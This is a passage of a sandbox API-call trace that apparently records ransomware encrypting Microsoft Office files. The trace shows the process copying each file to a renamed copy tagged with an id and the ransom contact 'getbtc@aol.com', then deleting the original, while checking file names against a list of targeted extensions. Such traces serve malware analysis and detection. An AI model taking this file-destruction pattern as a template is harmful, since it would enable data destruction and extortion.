nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.467] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.467] SetEndOfFile (hFile=0x37c) returned 1 [0262.468] CloseHandle (hObject=0x37c) returned 1 [0262.468] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.468] SetEndOfFile (hFile=0x3a8) returned 1 [0262.558] CloseHandle (hObject=0x3a8) returned 1 [0262.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico")) returned 1 [0262.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.602] lstrlenW (lpString=".doc") returned 4 [0262.602] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.602] lstrlenW (lpString=".docx") returned 5 [0262.602] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.602] lstrlenW (lpString=".pdf") returned 4 [0262.602] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.602] lstrlenW (lpString=".xls") returned 4 [0262.602] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.602] lstrlenW (lpString=".xlsx") returned 5 [0262.602] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.602] lstrlenW (lpString=".ppt") returned 4 [0262.602] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.602] lstrlenW (lpString=".zip") returned 4 [0262.602] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString=".rar") returned 4 [0262.603] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString=".bz2") returned 4 [0262.603] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.603] lstrlenW (lpString=".7z") returned 3 [0262.603] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.603] lstrlenW (lpString=".dbf") returned 4 [0262.603] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.603] lstrlenW (lpString=".1cd") returned 4 [0262.603] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.603] lstrlenW (lpString=".jpg") returned 4 [0262.603] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.603] lstrlenW (lpString=".doc") returned 4 [0262.603] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.603] lstrlenW (lpString=".docx") returned 5 [0262.603] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.603] lstrlenW (lpString=".pdf") returned 4 [0262.603] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString=".xls") returned 4 [0262.603] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString=".xlsx") returned 5 [0262.603] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.603] lstrlenW (lpString=".ppt") returned 4 [0262.603] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.603] lstrlenW (lpString=".zip") returned 4 [0262.603] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString=".rar") returned 4 [0262.603] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.603] lstrlenW (lpString=".bz2") returned 4 [0262.604] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.604] lstrlenW (lpString=".7z") returned 3 [0262.604] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.604] lstrlenW (lpString=".dbf") returned 4 [0262.604] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.604] lstrlenW (lpString=".1cd") returned 4 [0262.604] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO") returned 62 [0262.604] lstrlenW (lpString=".jpg") returned 4 [0262.604] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.604] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.604] lstrlenW (lpString="POSTIT.CFG") returned 10 [0262.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.663] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=777) returned 1 [0262.663] CloseHandle (hObject=0x1b8) returned 1 [0262.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 0x20 [0262.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.680] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.680] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.681] GetLastError () returned 0x0 [0262.681] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x309, lpOverlapped=0x0) returned 1 [0262.682] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x310, lpOverlapped=0x0) returned 1 [0262.683] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.683] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.683] SetEndOfFile (hFile=0x1f8) returned 1 [0262.683] CloseHandle (hObject=0x1f8) returned 1 [0262.683] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.683] SetEndOfFile (hFile=0x3d8) returned 1 [0262.685] CloseHandle (hObject=0x3d8) returned 1 [0262.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postit.cfg")) returned 1 [0262.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.686] lstrlenW (lpString=".doc") returned 4 [0262.686] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.686] lstrlenW (lpString=".docx") returned 5 [0262.686] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0262.686] lstrlenW (lpString=".pdf") returned 4 [0262.686] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.686] lstrlenW (lpString=".xls") returned 4 [0262.686] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.686] lstrlenW (lpString=".xlsx") returned 5 [0262.686] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0262.686] lstrlenW (lpString=".ppt") returned 4 [0262.686] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.686] lstrlenW (lpString=".zip") returned 4 [0262.686] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".rar") returned 4 [0262.687] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".bz2") returned 4 [0262.687] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.687] lstrlenW (lpString=".7z") returned 3 [0262.687] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.687] lstrlenW (lpString=".dbf") returned 4 [0262.687] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.687] lstrlenW (lpString=".1cd") returned 4 [0262.687] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.687] lstrlenW (lpString=".jpg") returned 4 [0262.687] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.687] lstrlenW (lpString=".doc") returned 4 [0262.687] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".docx") returned 5 [0262.687] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0262.687] lstrlenW (lpString=".pdf") returned 4 [0262.687] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".xls") returned 4 [0262.687] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".xlsx") returned 5 [0262.687] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0262.687] lstrlenW (lpString=".ppt") returned 4 [0262.687] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.687] lstrlenW (lpString=".zip") returned 4 [0262.687] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".rar") returned 4 [0262.687] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.687] lstrlenW (lpString=".bz2") returned 4 [0262.688] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.688] lstrlenW (lpString=".7z") returned 3 [0262.688] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.688] lstrlenW (lpString=".dbf") returned 4 [0262.688] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.688] lstrlenW (lpString=".1cd") returned 4 [0262.688] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTIT.CFG") returned 64 [0262.688] lstrlenW (lpString=".jpg") returned 4 [0262.688] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.688] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.688] lstrlenW (lpString="RCLRPT.CFG") returned 10 [0262.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.689] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=808) returned 1 [0262.689] CloseHandle (hObject=0x3d8) returned 1 [0262.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 0x20 [0262.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.689] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.689] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.690] GetLastError () returned 0x0 [0262.690] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x328, lpOverlapped=0x0) returned 1 [0262.692] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x330, lpOverlapped=0x0) returned 1 [0262.692] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.692] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.693] SetEndOfFile (hFile=0x1f8) returned 1 [0262.693] CloseHandle (hObject=0x1f8) returned 1 [0262.693] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.693] SetEndOfFile (hFile=0x3d8) returned 1 [0262.695] CloseHandle (hObject=0x3d8) returned 1 [0262.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rclrpt.cfg")) returned 1 [0262.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.696] lstrlenW (lpString=".doc") returned 4 [0262.696] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.696] lstrlenW (lpString=".docx") returned 5 [0262.696] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0262.696] lstrlenW (lpString=".pdf") returned 4 [0262.696] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.696] lstrlenW (lpString=".xls") returned 4 [0262.696] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.696] lstrlenW (lpString=".xlsx") returned 5 [0262.696] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0262.696] lstrlenW (lpString=".ppt") returned 4 [0262.696] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.696] lstrlenW (lpString=".zip") returned 4 [0262.696] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.696] lstrlenW (lpString=".rar") returned 4 [0262.696] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.696] lstrlenW (lpString=".bz2") returned 4 [0262.696] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.696] lstrlenW (lpString=".7z") returned 3 [0262.696] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.696] lstrlenW (lpString=".dbf") returned 4 [0262.696] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString=".1cd") returned 4 [0262.697] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString=".jpg") returned 4 [0262.697] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString=".doc") returned 4 [0262.697] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString=".docx") returned 5 [0262.697] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0262.697] lstrlenW (lpString=".pdf") returned 4 [0262.697] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString=".xls") returned 4 [0262.697] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString=".xlsx") returned 5 [0262.697] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0262.697] lstrlenW (lpString=".ppt") returned 4 [0262.697] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString=".zip") returned 4 [0262.697] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString=".rar") returned 4 [0262.697] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString=".bz2") returned 4 [0262.697] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.697] lstrlenW (lpString=".7z") returned 3 [0262.697] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString=".dbf") returned 4 [0262.697] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.697] lstrlenW (lpString=".1cd") returned 4 [0262.697] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RCLRPT.CFG") returned 64 [0262.698] lstrlenW (lpString=".jpg") returned 4 [0262.698] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.698] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.698] lstrlenW (lpString="REC.CFG") returned 7 [0262.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.699] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1617) returned 1 [0262.699] CloseHandle (hObject=0x3d8) returned 1 [0262.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg")) returned 0x20 [0262.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.699] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.699] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rec.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0262.700] GetLastError () returned 0x0 [0262.700] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x651, lpOverlapped=0x0) returned 1 [0262.865] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x660, lpOverlapped=0x0) returned 1 [0262.866] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.866] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0262.866] SetEndOfFile (hFile=0x1f8) returned 1 [0262.866] CloseHandle (hObject=0x1f8) returned 1 [0262.866] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.867] SetEndOfFile (hFile=0x3d8) returned 1 [0262.869] CloseHandle 